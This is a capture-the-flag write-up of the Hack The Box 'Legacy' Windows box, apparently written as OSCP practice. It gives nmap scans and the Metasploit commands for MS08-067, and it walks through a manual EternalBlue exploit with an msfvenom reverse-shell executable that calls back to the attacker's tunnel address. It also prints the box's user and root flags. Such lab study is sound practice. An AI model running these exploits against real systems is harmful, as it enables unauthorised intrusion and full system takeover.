Windows Boxes

legacy

  1. nmap
    1. nmap vuln
  2. metasploit
  3. manual
  4. user/root
  5. lessons learned

legacy

images/338-1.png
images/338-2.png

nmap

nmap -sC -sV -oA nmap/legacy 10.10.10.4
images/339-1.png

nmap vuln

nmap --script vulns 10.10.10.4
images/1642-1.png

nmap is showing legacy is vulnerable to BOTH MS08-067 aka netapi
images/1642-2.png
and ms17-010 aka eternal blue

both exploits are infamous as to how well they work against their targets, so its up to personal preference which one you would like to use here

metasploit

https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi

images/1640-1.png


msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show targets
...targets...
msf exploit(ms08_067_netapi) > set TARGET < target-id >
msf exploit(ms08_067_netapi) > show options
...show and set options...
msf exploit(ms08_067_netapi) > exploit


images/1640-2.png

search netapi
images/1640-3.png

use 3
images/1640-4.png
images/1640-5.png

show options
images/1640-6.png

rhosts is a required parameter so we'll set that with
images/1640-7.png

set rhosts 10.10.10.4
images/1640-8.png

but notice we also have to change our lport since it is not using our tunnel's ip
images/1640-9.png
set lhost tun0
images/1640-10.png

show options one more time:
images/1640-11.png

and
run
images/1640-12.png

and we have a shell with system privileges!
images/1640-13.png

manual

for our manual exploit we're going to use eternal blue

clone eternal blue repo
images/1643-1.png

create reverse shell with msfvenom named eternal_blue.exe
images/1643-2.png

out of the following codes,
images/1643-3.png

use send_and_execute.py with target IP and reverse shell code
python send_and_execute.py 10.10.10.4 eternal_blue.exe
images/1643-4.png

we get back a shell!
images/1643-5.png

unfortunately our shell is a bit limited to baseline commands such as whoami but after navigating around, our owned
user has
system privileges
images/1643-6.png

user/root

images/507-1.png
e69af0e4f443de7e36876fda4ec7644f
images/507-2.png
993442d258b0e0ec917cae9e695d5713

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/
images/524-1.png